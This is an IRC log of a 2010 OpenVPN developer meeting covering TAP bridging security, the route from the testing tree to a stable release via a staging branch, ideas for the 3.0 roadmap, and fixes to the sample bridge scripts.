13:01 < krzee> interesting, because that is the most common topology of a bridge setup 13:01 <@dazo> krzee: the reason is that bridge ~~ a software based HUB for devices .... so all traffic going on one interface is "transferred" to the other devices in the bridge 13:01 -!- CareBear\ [peter@stuge.se] has joined #openvpn-devel 13:02 < krzee> a server with 1 nic, a client with 1 nic, sharing the layer2 space over vpn 13:02 <@cron2> dazo: linux bridging does MAC learning, so it's not like a Hub, more like a Switch 13:02 <@dazo> krzee: so just guess what happens when the openvpn process receives traffic on eth0 - that raw-traffic is being copied into the TAP device, and being sent back to the other side 13:02 <@mattock> krzee: could rewrite the text yourself? you could put it pastebin or something (unless you want to register) 13:03 < CareBear\> hi ppl. meeting, right? 13:03 <@cron2> dazo: OpenVPN also does MAC learning, and will only transmit unicast packets with the right MAC address *or* broadcasts to the OpenVPN client 13:03 <@dazo> krzee: and then the traffic being decoded/decrypted and put out on the tap device itself is being copied over to the eth0 device 13:03 <@mattock> carebear: yep 13:03 < waldner> dazo: only if the bridge knows that that MAC address is on tap0 13:03 < krzee> mattock, actually you can erase this: 13:03 < krzee> Make sure to only bridge TAP interfaces with private ethernet interfaces which are protected behind a firewall. Never bridge a TAP interface with the same ethernet interface you use to connect to the internet, as that would create a potential security hole." 13:03 < krzee> Question (from krzee): does that mean users should have 2 NICs in a bridge server...? 13:03 <@dazo> cron2: ahh! I didn't know that! 13:03 < krzee> dazo answered it 13:03 <@mattock> ok, so the whole bridging stuff goes? 13:04 < krzee> keep what is before and after what i pasted 13:04 < krzee> or ill rewrite if you like 13:04 <@cron2> dazo: you can see it in the log, it will tell you about MAC addresses learned :-) 13:04 < CareBear\> hmm what bridging is this? 13:04 < krzee> https://community.openvpn.net/openvpn/wiki/Topics-2010-05-27 13:04 < vpnHelper> Title: Topics-2010-05-27 – OpenVPN (at community.openvpn.net) 13:04 < CareBear\> sorry - a minute or two late :\ 13:04 < krzee> at the bottom 13:04 < CareBear\> krzee : I did read it 13:04 <@dazo> cron2: yeah ... I knew about the openvpn side, just didn't think about it right now :) 13:04 < krzee> (i dont think we officially started yet) 13:04 < CareBear\> oh ok 13:04 <@dazo> cron2: the Linux bridge learning was new for me 13:05 < waldner> dazo: it's a bridge, so it learns which MAC addresses are on the eth side, and which are on the tap side 13:05 < CareBear\> krzee : I know plenty about bridging per se, just not what particular bridging is discussed right now :) 13:05 < krzee> this part: 13:05 <@dazo> waldner: yeah, which makes it more like a switch, not a hub which is the explanation I had 13:05 < krzee> Make sure to only bridge TAP interfaces with private ethernet interfaces which are protected behind a firewall. Never bridge a TAP interface with the same ethernet interface you use to connect to the internet, as that would create a potential security hole." 13:05 < krzee> Question (from krzee): does that mean users should have 2 NICs in a bridge server...? 13:05 <@dazo> CareBear\: linux brctl bridging 13:06 < waldner> yes, bridge is used as a synonymous of switch most of the time 13:06 < CareBear\> switches *are* bridges! 13:06 <@cron2> krzee: well, this is how we run it (external/global IP NIC, internal NIC) 13:06 <@cron2> CareBear: well, "switch" is marketing term for "something fast" :-) 13:06 < waldner> though strictly speaking there are minor differences, but I wouldn't bother, and it also depends where the doc come from 13:06 <@mattock> krzee: done 13:06 < CareBear\> cron2 : I guess most in here translate marketing terms to technical terms on the fly 13:06 < krzee> its a common topology to only have 1 nic on the bridge server, should i be telling users to not do that...? 13:07 < CareBear\> krzee : what does it bridge then? 13:07 <@cron2> carebear: "LAN" to "OpenVPN TAP" 13:07 < CareBear\> krzee : eth0 and tap0 ? 13:07 < krzee> layer2 traffic from each side 13:07 < krzee> yes 13:07 < krzee> ie: LAN gaming over inet 13:08 < CareBear\> krzee : I'd say that's prefectly fine as long as they want their VPN clients to be connected to the eth0 network 13:08 < krzee> (most common valid reason to run a bridge in my experience) 13:08 <@cron2> krzee: well, I think it would work. My gut feeling is "I wouldn't want to do it", but I have no real facts to based that on - the facts say "it should work just fine" 13:08 < CareBear\> I rarely use OpenVPN with routing 13:08 < krzee> it does work, the doc says it is a bad idea, which brought my question 13:08 < CareBear\> almost exclusively bridging, to support Windows networking 13:09 < krzee> my question being basically "should i be telling people not to do that?" 13:09 < krzee> CareBear\, i normally tell people to use wins for that ;] 13:09 < CareBear\> krzee : no easy answer I guess. it depends on if they really want it 13:09 <@cron2> krzee: have you seen any evidence that things explode or malfunction *if* they do it that way? 13:09 <@cron2> krzee: otherwise, I'd say "let them do it" 13:09 < krzee> but i admit to being a lil overboard with my tun v tap answers ;] 13:09 <@dazo> cron2: but you'll have a lot of traffic on the eth0 of the vpn server, destined for the IP of the server ... how will the bridge tackle those packages? 13:09 < krzee> cron2, nope, i just saw that in the doc, nothing else 13:10 < krzee> cron2, i know it works, because its what i most commonly see from people running bridges 13:10 < waldner> krzee: if you don't do that, then basically the only other option for bridging is havinf the OpenVPN server running on the gateway, the wan interface listening, and the internal LAN interface bridged with tap 13:10 <@cron2> dazo: the bridge sees "packets with a MAC address going to the 'virtual MAC' that's tacked to the br0 interface" 13:10 < krzee> in fact my first vpn setup was a bridge running in that fashion 13:10 < CareBear\> krzee : it's not really less secure than any other configuration, as far as configuration goes - but sure it can be a security problem in certain cases, where the VPN clients should *not* be connected to the eth0 network 13:11 <@cron2> dazo: so the packets are delivered to the kernel/ip stack - the destination MAC is not one of the OpenVPN clients, so the bridge would not send them to the TAP intreface 13:11 < krzee> CareBear\, i got ya, maybe that note at http://openvpn.net/index.php/open-source/documentation/miscellaneous/76-ethernet-bridging.html could use clarification then 13:11 <@cron2> waldner: yup, this is how we did it when I needed to bridge two office locations (while moving stuff to the new office) 13:11 < vpnHelper> Title: Ethernet Bridging (at openvpn.net) 13:12 < krzee> mattock, you also deleted my note about the bridge script 13:12 < waldner> cron2: yes, that's the classical setup. But still I think lots of places use an internal server (with the router/firewall forwarding 1194 to it) 13:12 < krzee> ;] 13:13 <@mattock> just sent mail to James 13:13 < waldner> I did it for home network for a while, actually 13:14 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:14 < krzee> grr i need to reboot, brb 13:14 < waldner> I mean, in some cases it's the only option, eg when the router can not run OpenVPN 13:14 <@mattock> hi james! 13:14 < jamesyonan> hi guys 13:14 < CareBear\> hi James 13:14 < krzee> hey james 13:14 <@dazo> hi! 13:14 < waldner> hi 13:14 < krzee> brb 13:14 -!- krzee [~k@unaffiliated/krzee] has quit [Quit: Leaving] 13:15 <@mattock> topics for today are here: https://community.openvpn.net/openvpn/wiki/Topics-2010-05-27 13:15 < vpnHelper> Title: Topics-2010-05-27 – OpenVPN (at community.openvpn.net) 13:15 <@mattock> we have big one today, as you can see 13:16 <@mattock> which is... how do we get code from "testing" to release (possible via James' stable tree) 13:16 <@mattock> ? 13:17 <@mattock> james: any thoughts on this issue? 13:18 <@cron2> mattock: the most important one, yes :-) 13:19 <@mattock> so basically we have a "hole" in our development process... no path leads from testing to release yet 13:19 <@mattock> at least no documented path 13:20 <@cron2> exactly, and this needs to be defined - otherwise the "community tree" and the "openvpn tech tree" are in danger of really moving further and further apart 13:20 <@cron2> worst case, leading to a split 13:20 < jamesyonan> I'm completely swamped for at least the next month or two -- we need to develop a process for merging that takes a minimum amount of my time 13:20 <@dazo> From my point of view ... we have a couple of possibilities ... I do understand that testing the openvpn-testing code is important, but I'm seeing it from the perspective of that being fine (testing is good for a stable tree) 13:21 <@dazo> one approach is that jamesyonan indicates to me which features / branches he is interested in ... I can produce a set of patches for him which he can apply to the SVN tree .... 13:22 <@dazo> another approach is that James clones the git tree, and uses git to push the branches he is interested in into the SVN tree via git-svn ... then he can do svn merging how he likes it 13:22 <@cron2> that would certainly save lots of time 13:22 <@cron2> (the former) 13:22 < jamesyonan> that could certainly work 13:23 <@dazo> the disadvantage of the first one ... I'm afraid the openvpn-testing tree needs to be re-generated, as I'm not sure how well git will detect duplicate patches this way 13:23 <@dazo> the latter one, this one will make it easier to track things for me with git-svn afterwards 13:23 <@cron2> ack 13:24 <@dazo> actually, there is a third option ... and that is that I get write access to the svn tree ... and I could push the branches James wants there 13:25 <@dazo> (but that requires some config/admin changes at openvpn) 13:25 <@cron2> this might work in the long run, bugt I have the feeling that James will want to review all this "community" stuff closely beforehand 13:25 <@dazo> cron2: agreed 13:26 <@dazo> and I didn't mean merge into BETA21 branch ... I meant push to a separate SVN branch 13:26 <@mattock> also, I think we should discuss what to include in the next 2.x release together 13:26 <@mattock> no matter what technique we use 13:27 <@dazo> mattock: yeah, that's appropriate ... but I'd say that's secondary to figure out how we get the stuff into James' tree 13:27 <@mattock> dazo: true 13:27 <@cron2> and on a tangent, how many releases do we want (-> how big the changes) 13:28 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 13:28 <@mattock> cron2: I think we should try to make relatively frequent releases with small amount of new functionality 13:29 <@dazo> I'd say we could have one which would contain stuff from bugfix2.1, feat_misc and feat_eurephia .... another one which would be feat_ipv6_payload and feat_ipv6_transport 13:29 <@cron2> we have a few quite big patches in there... vlan, v6 payload, v6 transport 13:29 <@mattock> I think most people won't touch "testing" versions or SVN/Git code anyways 13:30 <@dazo> feat_vlan is not completely accepted into allmerged yet .... missing better review and testing + it depends on feat_passtos which has not been merged nor tested (and the developer seems to have disappeared from the radar) 13:32 <@cron2> well, and I'm afraid neither feat_ipv6_* has seen *review*... - testing, yes, but no code review... 13:32 <@mattock> so which approach should we take... number one: "another approach is that James clones the git tree, and uses git to push the branches he is interested in into the SVN tree via git-svn ... then he can do svn merging how he likes it" 13:33 <@mattock> sorry, number two 13:33 <@dazo> cron2: but I'm comfortable with the ipv6 stuff ...basically because you are available and active in the community 13:34 <@cron2> :) 13:34 <@cron2> it has seen quite some testing, yes 13:34 < jamesyonan> I dazo's idea about creating a tree on svn.openvpn.net that would be used as a staging branch for changes that should go into stable. 13:36 <@mattock> jamesyonan: so would the staging branch be relatively stable, receiving only bug fixes? 13:36 < CareBear\> dazo : feat_vlan looks very good, I looked at it as carefully as I could (I'm Peter Stuge) but I do not really know anything about OpenVPN internals so I did not know what sensitive points to look particularly closely at 13:37 <@mattock> ...and all work before creating a staging branch to SVN would be done in "testing" tree? 13:37 <@mattock> or did I misunderstand something? 13:38 <@dazo> CareBear\: that's sounds good! I remember you did some review as well, but didn't get it as a clear ACK for merge :) ... cron2 would you have a chance to look at the patches as well? 13:38 <@dazo> mattock: I would probably prepare a git branch which I would push over to the SVN branch 13:38 <@dazo> mattock: and then James would merge them together 13:39 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 13:39 < jamesyonan> yes, I think the staging branch would only contain stuff where there's general agreement that it should be merged with stable 13:39 <@dazo> mattock: the contents of that 'next' branch, would be those git branches we agree on in these meetings 13:39 < CareBear\> dazo : I didn't want to ack since I didn't know what (if anything) was critical 13:39 <@dazo> CareBear\: yeah, I understood ... and that's fair enough :) 13:40 <@mattock> dazo: ok, sounds like a good idea... so the "next" branch would be a kind of non-released beta/rc 13:40 <@mattock> a constantly evolving beta/rc, to be more exact 13:41 <@dazo> mattock: s/"next"/staging/ :) ... yeah, the staging branch would contain what's prepared for James to merge into his release 13:42 <@mattock> and your "staging/next" git branch already contains James' stuff, right? 13:42 <@mattock> from James' own SVN branch(es) 13:42 <@cron2> yes 13:42 <@mattock> great! 13:42 <@dazo> yes 13:42 <@dazo> well 13:43 <@dazo> actually ... the staging branch could contain just the changes itself 13:43 <@dazo> but it would be more challenging with bugfix2.1 and feat_misc branches, as they are based differently 13:44 <@dazo> ie. not SVN changes from James 13:44 <@mattock> ok 13:45 <@dazo> jamesyonan: it might be an idea for you to test out the branch merging in a separate branch - just to see how well the merge goes 13:45 * dazo suspects some merge conflicts in worst case 13:47 <@mattock> so this would happen prior to a release... 1) features to include would be selected, 2) features would be "stabilized" until they are relatively stable (=don't change much), 3) a staging branch would be created, 4) beta/rc releases would be published based on the staging branch (to get people to _really_ test the code), 5) once staging branch is deemed stable enough, an official release could be made 13:47 <@cron2> this sounds good to me 13:47 <@dazo> +1 13:47 <@mattock> and of course, bugs would be fixed in the staging branch as they're found 13:47 < jamesyonan> agreed, we should create and test the result of the merge before it becomes the stable branch 13:49 <@dazo> one detail question then: How do we get my staging branch into the SVN staging branch? 13:50 < jamesyonan> Isn't there a git -> svn connector? 13:51 <@mattock> also, does it matter whether the staging branch is in SVN or Git repo? 13:52 <@dazo> jamesyonan: yes, I can push to SVN branches 13:52 < CareBear\> jamesyonan : there is git-svn 13:52 < CareBear\> ie. git natively supports interaction with svn repos 13:52 < CareBear\> albeit with limited functionality 13:53 < CareBear\> (because of differences between git and svn) 13:54 <@dazo> jamesyonan: or, of course, you can pull the git tree and push to SVN yourself ... if you prefer that instead :) 13:54 * dazo is open to do what it takes to make this work out 13:56 < jamesyonan> The thing that works best for me would be an svn branch that essentially represents a "stable candidate", where we can test it and then promote it to stable. 13:56 <@dazo> that works for me 13:56 <@mattock> jamesyonan: sounds good 13:57 < jamesyonan> cool 13:57 <@cron2> cool :) 13:57 <@dazo> and we avoid a potential challenging merge in SVN from the staging branch to BETA21 13:58 <@dazo> (basically, because I have merged in everything based on the BETA21 already in git) 13:59 <@mattock> ok, so who handles management of the "stable candidate / staging" branch in SVN? 14:00 * krzee points at david and hides 14:00 * dazo throws a paper ball after krzee 14:00 <@cron2> dazo seems to be the master of version control :-) 14:00 <@mattock> cron2: +1 14:01 <@dazo> geeee .... I've must have been a good actor! :-P 14:01 < CareBear\> that can be a fair bit of work, unless the source for that branch is already kept clean as a matter of cooperation 14:01 <@dazo> CareBear\: it would basically be to merge svn-BETA21, and the feature branches we want in the next release ... and then push it to SVN 14:01 <@cron2> well, since dazo only accepts patches that are reviewed and follow style, it *is+ fairly clean 14:02 <@dazo> CareBear\: that's a rather trivial task for me in git :) 14:02 < CareBear\> as long as feature branches apply cleanly 14:02 < CareBear\> merge cleanly 14:02 <@dazo> Be sure! :) 14:03 < CareBear\> if I were to add a feature - what would I start with? 14:03 < CareBear\> testing branch, or to-become-stable branch? 14:03 < CareBear\> all_testing, sorry 14:03 <@cron2> feat_bugfix 14:03 <@dazo> CareBear\: the master branch ideally .... unless it's a bugfix, then bugfix2.1 14:03 <@dazo> actually, you can base it on bugfix2.1 for new features as well 14:04 <@dazo> cron2 is right 14:04 <@mattock> dazo: has this been documented somewhere already? 14:04 <@dazo> mattock: somehow in the Developers docs ... but I've not reviewed it in quite a while, so it might be need that again 14:04 < CareBear\> dazo : so when to use all_testing ? 14:05 < CareBear\> or is that only for consumption, not for production? 14:05 <@dazo> CareBear\: the allmerged branch is all accepted branches, which are merged together ... that's the real testing branch where you get all the goodies at once 14:05 <@cron2> if you want to implement something that needs a number of feature branches as base... 14:05 < CareBear\> dazo : thanks, allmerged, sorry I messed up the name 14:05 <@dazo> I am the only one who works on allmerged 14:05 < CareBear\> cron2 : yes, that's my point 14:06 <@mattock> dazo, jamesyonan: can you handle the SVN staging branch bureaucracy between yourselves? 14:06 <@mattock> to get the ball rolling for next 2.x release 14:06 < jamesyonan> sure, if dazo's okay with it 14:06 <@dazo> mattock: jamesyonan: sure! 14:06 <@mattock> great! 14:06 < krzee> ++ 14:06 < CareBear\> cron2 : it means that it may take a lot longer to reach to-become-stable, but that makes good sense since the deps are required too 14:07 <@cron2> CareBear: yes 14:07 <@mattock> if I'm not mistaken, we've reached a consensus on how to handle our development process :) 14:07 <@mattock> the final stages, that is 14:07 <@dazo> \o/ 14:08 < krzee> ^5 14:08 < CareBear\> mattock : I think it's an important point to document where to start contributions. Sure, not so hard to discover, but annoying if someone contributes to allmerged instead of feat_bugfix for no reason, thus potentially delaying the integration of their work in stable. 14:08 <@mattock> carebear: agreed 14:08 < krzee> yup, thats an important note for developer notes 14:09 <@cron2> mattock: yes, I'm quite happy :-) 14:09 <@mattock> do we need to discuss anything else regarding the development process? 14:09 <@cron2> testing? 14:10 < krzee> (reading the proposed 3.0 roadmap makes me smile!) 14:10 <@cron2> "what are our criteria to decide whether it's stable"? 14:10 <@mattock> cron2: that's important, agreed 14:10 <@mattock> I think we first and foremost need more people to test "testing" 14:11 <@dazo> or people to write test scripts which we can automate 14:11 <@dazo> (but that does not exclude "human" testing in addition) 14:11 <@mattock> dazo: people + automated testing 14:11 * dazo sensed mattock was about to say that :) 14:12 <@mattock> dazo: am I so predicatable? ;) 14:12 <@dazo> ;-) 14:12 <@mattock> anyways, I think the next step (for me) is to setup a server to build + release + publish "testing" automatically 14:12 < krzee> i do have something to bring up... i talked to dazo about it already... i showed the author of iodine (Yarrick) our beta roadmap for 3.0 and he showed me mtund (freebsd code from google summer of code '07) which seems to aim for some of what we're thinking, and is BSD licensed 14:13 < krzee> we can likely get some code from that 14:13 <@dazo> indeed! 14:13 <@mattock> and to link to those "testing" snapshots from openvpn.net 14:13 < krzee> http://wiki.freebsd.org/mtund http://p4web.freebsd.org/@md=d&cd=//depot/projects/soc2007/mharvan-mtund/mtund.doc/&c=btF@//depot/projects/soc2007/mharvan-mtund/mtund.doc/design.txt 14:13 < vpnHelper> Title: mtund - FreeBSD Wiki (at wiki.freebsd.org) 14:13 <@dazo> jamesyonan: have a look at those links ... that's interesting reading 14:15 <@mattock> cron2: regarding what's stable... that's a tough one 14:16 <@mattock> currently we don't know, as the new feature are not being used widely or tested by automated tools 14:16 <@cron2> mattock: oh, that's quite easy "every feature + every combination of features does the right thing on every platform" :-) *duck* 14:16 <@cron2> exactly 14:16 <@mattock> cron2: "The software shall not contain any bugs" 14:17 <@mattock> ... snippet from an unknown requirement specification 14:18 <@mattock> anyways, I think we have solid plans for improving testing - and better yet - time to actually do the work 14:18 <@dazo> How I see it ... as long as we don't have community feedback, we do need to have some kind of automated testing which at least can test most used configurations for us easily 14:18 < jamesyonan> mtund seems interesting -- they seem to be thinking along similar lines 14:19 <@dazo> exactly 14:19 < krzee> yup, and bsd license, clean code! 14:20 <@dazo> I've had a peek at the mtund code ... what I saw, that was a slick to read 14:20 < krzee> heavily commented from what i saw 14:21 < jamesyonan> mtund doesn't seem to care very much about security -- it seems more concerned with being able to use many different kinds of transport layers 14:22 <@mattock> dazo: we can get (more) community feedback by making use of "testing" easy (snapshot binaries) and giving it visibility (linking from openvpn.net downloads)... also, there's little value in "testing" unless people use it 14:22 < CareBear\> jamesyonan : maybe it's a good point to separate the security and the transport? 14:22 <@mattock> that said, I agree that we need automated testing, too 14:22 < krzee> right, its not a replacement for openvpn 3.0, but rather something we could possibly take code for 14:22 <@dazo> yes, that's what I saw as well ... it's lacking authentication and encryption ... except for that, it looks pretty much what we need 14:22 <@mattock> I'd start with automating build & packaging first 14:22 <@dazo> mattock: great! 14:22 < krzee> and the security is a separate plugin hook in our 3.0 roadmap 14:22 < waldner> that could be the transport part of OpenVPN 3.0, and what's before it will feed it encrypted data 14:22 < CareBear\> oh right - yes it certainly needs the vpn frontend 14:22 < CareBear\> waldner ++ 14:22 < jamesyonan> certainly -- the 3.0 roadmap calls for a plugin architecture where plugins could operate at either the security (encapsulation) or transport level 14:23 < CareBear\> *nod* 14:23 < jamesyonan> but mtund doesn't really talk about the crypto being part of the plugin architecture 14:23 < krzee> i dont believe it does crypto, but that was on the todo list 14:23 <@mattock> omg, freebsd uses Perforce repositories... that a big minus :) 14:24 < krzee> "Authentication and encryption would likely not be addressed. However, one can always set up IPSec on top of the tun interface." 14:24 < krzee> so we cant steal that part... but it looks like they did at least SOME of the work for us 14:25 <@dazo> mtund is far from complete in OpenVPN 3.x point of view ... but krzee is probably right, it provides quite some code which we can base OpenVPN 3.x upon ... no need to reinvent the wheel again 14:25 <@mattock> and if the code is clean and well commented, it's a good place to start (or at least try to start) 14:25 <@dazo> that's my thought 14:26 < krzee> exactly what i was thinking 14:26 < krzee> and the bsd license makes it easy 14:26 < waldner> my understanding is that there would be another plugin somewhere between the tun interface and the network that would encrypt/decrypt the data to/from the transport plugin 14:26 < waldner> so the transport plugin wouldn't have to care about encryption 14:26 <@dazo> waldner: that's correct 14:26 < krzee> waldner, yup thats what our roadmap has in mind so far 14:26 < krzee> dazo, whats the roadmap link again? 14:27 <@dazo> waldner: or ... it could also go in front of as well 14:27 * dazo looks up the url 14:27 <@dazo> https://community.openvpn.net/openvpn/wiki/RoadMap 14:27 < vpnHelper> Title: RoadMap – OpenVPN (at community.openvpn.net) 14:27 < waldner> well, it will probably depend on the exposed functionality 14:27 < krzee> gracias =] 14:27 <@dazo> waldner: exactly 14:28 < waldner> they could even reside in different machines 14:28 < waldner> one machine encrypts, another just tunnels 14:28 < waldner> well maybe that's too ambitious 14:28 < waldner> :) 14:28 < krzee> waldner, and thats a + cause it allows for many different transports as well as using things besides openssl for the crypto if soemone makes the plugin 14:28 <@dazo> waldner: theoretically yes .. :P 14:28 <@dazo> but basically, it depends on the SSL plug-in 14:28 < waldner> krzee: agreed 14:29 <@dazo> anyhow ... we're far away from the agenda now 14:29 < CareBear\> not too ambitious - I think that will allow pretty interesting use cases 14:29 <@mattock> dazo: good point, didn't want to stop you devs from drooling over 3.0 plans :) 14:29 < waldner> CareBear\: true 14:29 <@mattock> krzee: do you want to discuss the bridging issue? 14:30 * dazo has been evaluating hardware encryption - which does the encryption as a network service 14:30 < krzee> sure, i had to reboot :( can you gimme the agenda again? 14:30 <@mattock> yep: https://community.openvpn.net/openvpn/wiki/Topics-2010-05-27 14:30 < vpnHelper> Title: Topics-2010-05-27 – OpenVPN (at community.openvpn.net) 14:30 < krzee> ok 14:30 < krzee> in http://openvpn.net/index.php/open-source/faq.html#bridge1 it talks about advantages and disadvantages of bridge / routing 14:30 < vpnHelper> Title: FAQ (at openvpn.net) 14:31 < krzee> i believe another disadvantage should be mentioned for bridging 14:31 < krzee> "Another bridge disadvantage should be that layer2 is insecure by design, opening your layer2 exposes to arp poisoning and the like." 14:31 <@cron2> this is true 14:32 < waldner> but it's true of any bridging, eg the local LAN as well 14:32 <@cron2> yxes 14:32 < krzee> exactly 14:32 <@cron2> argh 14:32 < krzee> and people dont understand that 14:32 < krzee> they create bridges for untrusted users because they dont know better 14:33 < krzee> its definitely a disadvantage, and the user should be aware of it before using bridge 14:33 < krzee> if they choose to after being aware, thats fine =] 14:33 < krzee> also, ive come across people (myself included years ago) that ran into the issue where default route isnt made when bridging, the fix is to add route command at the end of sample-scripts/bridge-start 14:33 < waldner> well I'd say that if they don't trust the users, they shouldn't allow them VPN access in the first place 14:33 * dazo hope this will not include another startup warning in OpenVPN .... 14:33 < krzee> waldner, ie: VPN providers 14:34 < waldner> ok I see 14:34 < krzee> dazo, it definitely should not! 14:34 <@cron2> waldner: it's a matter of trusting them to access the internal servers on well-defined interfaces, or whether they permit them to steal traffic between other machines in the LAN... 14:34 < krzee> dazo, im just saying for inclusion in that portion of the website 14:34 <@dazo> krzee: yeah :) Just wanted to be sure your intention is understood correctly 14:35 < krzee> cool =] 14:35 <@mattock> jamesyonan: shall I send krzee's FAQ modification to Frank? 14:35 <@mattock> or who'll take care of it? 14:35 <@mattock> (I assume we agreed the change makes sense) 14:36 < krzee> CareBear\, you said you often use bridge, can you comment on whether or not bridge-start sample script should add gateway at the end? 14:36 <@cron2> no 14:36 <@cron2> it really depends on what you want to achieve 14:37 < CareBear\> krzee : I always use my own scripts 14:37 < krzee> maybe i (and the others who needed to do this) did something wrong that required this 14:37 < CareBear\> krzee : I typically have a very small up script that adds the tap to the bridge 14:37 < CareBear\> (on the server) 14:37 < krzee> for me, running the bridge-start script would result in gateway loss, and i had to request a remote reboot, adding a line to set gateway at the bottom fixed it 14:38 < CareBear\> I usually have custom network config scripts too 14:39 < waldner> bridge-start, as it is now, may actually drop one's default gateway, if that happened to be via eth0 14:39 < waldner> because when br0 is reassigned eth0's IP, it only recreates the connected route, not anoy other routes that were going via eth0 14:39 < CareBear\> if bridge-start comes with openvpn that's kinda bad 14:39 < CareBear\> (it's always bad, but something bad for "us" to fix) 14:40 < krzee> its in sample-scripts/ 14:40 < CareBear\> ouch 14:40 < krzee> as well as posted at http://openvpn.net/index.php/open-source/documentation/miscellaneous/76-ethernet-bridging.html 14:40 < vpnHelper> Title: Ethernet Bridging (at openvpn.net) 14:40 < krzee> (bottom) 14:40 < CareBear\> then I'm in favor of one of two solutions; 14:40 < waldner> I haven't tried it to be honest, but looking at it now I wouldn't be surprised if that happened 14:41 < CareBear\> 1. fix the issue completely - this is very difficult because it means that that script needs to support bridging on lots of different systems 14:41 < waldner> and also bridge-stop looke even more seriously flawed to me 14:41 < CareBear\> 2. the check-OCSP approach; make the script safe, but not fully functional 14:41 < waldner> it just deletes the bridge without doing *anything* with eth0 14:41 < jamesyonan> re: layer 2 security -- a lot of people really like layer 2 because of the broadcast propagation, and I think many of these people are okay with a security model where every user has complete trust, and where there is no secondary access control system that occurs after VPN authentication 14:41 < krzee> CareBear\, if given working scripts for multiple OS ild be happy to merge them 14:42 < CareBear\> jamesyonan : agree - I consider L2 an important feature of any VPN solution! 14:42 < CareBear\> jamesyonan : there are certainly cases where L2 is not desirable, but then it can be disabled 14:42 < krzee> jamesyonan, i fully agree, but i believe in that link in FAQ with advantages and disadvantages that opening up the ends to arp poisoning should be listed as a disadvantage 14:43 <@mattock> so what to do with bridge-start and bridge-stop? 14:43 < krzee> (which can be overcome, but in that case having windows filesharing cant be an 'advantage' because WINS overcomes that) 14:43 < jamesyonan> I think the point is that we should be clear that layer 2 is only for people who don't care about secondary access control 14:43 < waldner> mattock: they can be changed, but it's difficult to write something that will "just work" for any possible scenario 14:44 < krzee> its a point that people in the help channel often dont know about (the arp poisoning over layer2 bridge) 14:44 < waldner> certainly they should not be as they are now, imho 14:44 < CareBear\> it's even hard *within* openvpn to mess with default gateway 14:44 <@cron2> ok, folks, need to leave now - bring $wife and $child to bed (and try to get enough sleepy myself). Good meeting, though! 14:44 <@mattock> waldner: agreed... could we do something easy that would make the scripts better? 14:44 < krzee> gnite cron2 ! 14:44 <@mattock> cron2: good night! 14:44 < waldner> good night 14:44 < CareBear\> that's C and has full access to state - in a shell script it would just be painful 14:44 < CareBear\> bye cron2 14:44 < jamesyonan> bridging is tough to set up because of the way that it's generally implemented in the kernel, i.e. using a virtual bridge device 14:45 <@dazo> cron2: c'ya! :) 14:45 < CareBear\> hard = needs more than one single configuration directive on/off 14:45 < CareBear\> jamesyonan : maybe it could be implemented by calling external tools.. 14:46 < waldner> I've always done it the safe way, eg using a permanent br0, and my bridge-start only adds tap0 to the bridge 14:46 < krzee> im only suggesting a 1 line addition to the FAQ based on users not knowing (and sometimes caring) about it (and i believe it qualifies as a disadvantage, which may or may not matter to the user) 14:46 < CareBear\> krzee : I also agree there should be action 14:46 < waldner> mattock: but yes, that could perhaps be discussed in a meeting. 14:46 <@dazo> CareBear\: would be an approach ... but difficult when we need to support a lot of platforms too 14:46 < CareBear\> *nod* 14:48 < krzee> mattock, if its decided to make new bridge scripts for multi-OS, ild be happy to work on it if given scripts for OS's that currently work (basically just merging them into 1 script for multiple OS) 14:48 < waldner> if users are going to copy and paste them, we'd need something that at least does not disrupt the existing setup 14:48 < krzee> it would be easy, but i know most in here have more important stuff to do (things im unable to accomplish) 14:49 <@dazo> krzee: that's easy on *nix ... but scripting on Windows that'll require a completely different script 14:49 < krzee> does bridging in windows use a script!? 14:49 <@mattock> krzee: what about basing the scripts against LSB (or what was it?) so that they should work on most platforms... 14:50 <@dazo> krzee: no, but you can most probably activate it via some powershell scripts 14:50 < waldner> mattock: posix 14:50 < krzee> mattock, i know nothing bout that, but if you see www.doeshosting.com/code/NStun.sh you can see its very easy in bash 14:50 <@dazo> waldner: +1 14:50 < krzee> (same in sh) 14:50 < waldner> the problem is that even the script syntax is portable, every OS has its own peculiarities regarding networksetup 14:51 <@mattock> waldner: agreed (regarding peculiarities) 14:51 < krzee> waldner, right, you just case the uname in bourne shell 14:51 < waldner> so that's not to say it can't be done, but ertainly it isn't as easy as it would seem 14:51 <@mattock> so should we keep the sample scripts what they are - sample scripts 14:51 <@mattock> ? 14:51 < waldner> at the *very* least, bridge-stop badlyneeds fixing 14:52 < waldner> (yes, the space bar is striking today) 14:52 <@mattock> ok, so what about this: 14:52 < CareBear\> mattock : I like the check-OCSP method 14:52 < CareBear\> make it safe but incomplete 14:53 <@mattock> fix any obvious mistakes in the scripts and add a warning: "this script may or may not work on your platform - please edit it as necessary" 14:53 < waldner> CareBear\: yes, that forces people to customize it 14:53 < krzee> most users dont know where to start 14:53 < krzee> in customizing scripts 14:53 < waldner> maybe comments could help 14:53 < krzee> half the people ive seen using bridging know 0 about networking 14:53 < krzee> or scripting 14:53 < CareBear\> krzee : then they need to be educated, to close the gap 14:54 < waldner> well, bridge-start*already* needs customizing 14:54 < CareBear\> the point is that the gap is too large for developers to fill in the short term 14:54 <@mattock> also, most distros / openvpn packages should have their own scripts 14:55 < waldner> not for bridging, AFAICT 14:55 <@mattock> waldner: really? 14:55 < waldner> none of the distros I've tried comes with decent (or any, for that matter) bridge scripts 14:55 <@dazo> krzee: if people want to setup bridging and know nothing about it .... I'd say they either should learn it first or not do it :-P 14:55 < waldner> they do provide the standard OpenVPN bundled scripts, though 14:56 < waldner> but I'd be happy to be proven wrong 14:56 < CareBear\> dazo / krzee : at least until it can be made seamless by outstanding vpn software ;) 14:56 <@dazo> but in general ... providing a good commented script, which do not work "out-of-the-box" is probably a good approach, to also teach something about what they are about to do 14:57 < waldner> agreed 14:57 <@mattock> so what if we fix obvious errors in the scripts, add warnings / comments... then look into long-term solutions (e.g. "generic" bridge scripts that "just work") 14:57 <@dazo> CareBear\: true :) 14:57 < krzee> well yes i agree, please join in the IRC channel to help educate them :-p 14:57 <@mattock> dazo: +1 14:57 < krzee> lol 14:58 <@dazo> krzee: heh ... you see where I'm most active nowadays :-P 14:58 <@mattock> bridge scripts that "just don't work" don't help much :) 14:58 < CareBear\> yes, it's a great point to document in the script why it is 